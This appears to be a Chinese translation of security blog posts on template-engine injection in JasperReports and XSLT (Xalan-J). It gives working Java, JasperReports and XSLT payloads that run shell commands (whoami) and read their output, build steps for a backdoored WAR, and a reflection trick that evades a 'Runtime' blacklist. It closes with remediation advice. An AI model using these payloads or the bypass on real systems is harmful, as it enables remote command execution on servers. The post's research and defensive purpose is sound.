通用执行shell命令的代码
Runtime.getRuntime().exec(‘whoami’);
Java8获取输出流的代码
BufferedReader(newInputStreamReader(inputStream)).lines().collect(Collectors.joining("n"));
获取命令执行的结果
new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).lines().collect(Collectors.joining("n"));
插入利用代码,打包项目war包
vulapp/japerreports/jasperreports-6.6.0/demo/samples/webapp
ant -lib lib/ivy-2.2.0.jar
ant war -lib lib/ivy-2.2.0.jar
扔进tomcat,执行
http://127.0.0.1:8080/jasper-webapp/jsp/compile.jsp
http://127.0.0.1:8080/jasper-webapp/jsp/fill.jsp
关于JasperReports留后门技巧,前年foxglovesecurity写一篇文章,感兴趣的可以看一下。
https://foxglovesecurity.com/2016/10/14/hacking-jasperreports-the-hidden-shell-feature/
#CreateObject('java','java.io.BufferedReader').init(CreateObject('java','java.io.InputStreamReader').init(CreateObject('java','java.lang.Runtime').getRuntime().exec('whoami').getInputStream())).lines().collect(CreateObject('java','java.util.stream.Collectors').joining('n'))#
eXtensible Stylesheet LanguageTransformations (XSLT)的利用。
XSLT设计用于XML转换,将一个XML文档转换为另一个XML文档,或者是HTML等其他格式。
然而,XSLT语言是图灵完备的,因此存在很多的攻击面。例如,在应用程序中,用户可以为发送的电子邮件定义模板。
重要一点是XSLT的利用方法取决于它使用的引擎。将以下标记添加到XSL文档,可以检测到基本信息。
<xsl:value-ofselect="system-property('xsl:version')"/>
<xsl:value-ofselect="system-property('xsl:vendor')"/>
<xsl:value-ofselect="system-property('xsl:vendor-url')"/>
返回结果
识别出来引擎指纹识别为Xalan-J之后,我研究了针对它的特定攻击。网上关于攻击XSLT引擎的信息很少,找到的一片文章http://xhe.myxwiki.org/xwiki/bin/view/XSLT/。文章里可以找到作者测试过的每个XSLT引擎的特定攻击。我修改了payload以便一行代码搞定执行命令:
<xsl:variable name="abcd"select="Runtime:exec(Runtime:getRuntime(),’whoami’)"xmlns:Runtime="http://xml.apache.org/xalan/java/java.lang.Runtime"/>
此标记将执行命令"whoami",但不会回显。 获取回显稍微困难一些。 原因是该版本Xalan-J中缺少可靠的循环,但仍然可以逐行手动读取输出,回显的xslt标签内容:
以上代码是下面Java代码的XSLT版本。此代码要求为输出中的每一行重复最后一个标记:
BufferedReader mnop = newBufferedReader(newInputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream()));
mnop.readLine();
mnop.readLine();
最大的问题是如何修复这个漏洞。正常情况下重新设计功能确保无法执行命令。但是,这通常太耗时,因此可以更快地应用“修复”。 黑名单是我看到这个问题得到修复的最常见方式。在大多数情况下,这不是一个可行的解决方案,因为它涉及为整个语言创建黑名单。 这也浪费时间游戏的开始,找到bypass方法/修复漏洞,直到有人放弃。我已经看到字符串"RunTime"被列入黑名单,可以通过一下方法进行bypass:
Class.forName("java.util.Scanner").getMethod("next").invoke(Class.forName("java.util.Scanner").getMethod("useDelimiter",String.class).invoke(Class.forName("java.util.Scanner").getConstructor(InputStream.class).newInstance(Class.forName("java.lang.Process").getMethod("getInputStream").invoke(Class.forName("java.lang.Run"+"time").getMethod("exec",String.class).invoke(Class.forName("java.lang.Run"+"time").getMethod("getRun"+"time").invoke(null),"whoami"))), "n"))
这个问题的另一种常见修复方式就是风险接受。 此漏洞通常涉及对预期功能的利用。 模板定义权限通常保留给少数管理员。 但是,通过Web应用程序可能获取到系统层的权限,所以可利用的自定义模板功能应被视为漏洞。
原文:
https://depthsecurity.com/blog/exploiting-custom-template-engines
https://foxglovesecurity.com/2016/10/14/hacking-jasperreports-the-hidden-shell-feature/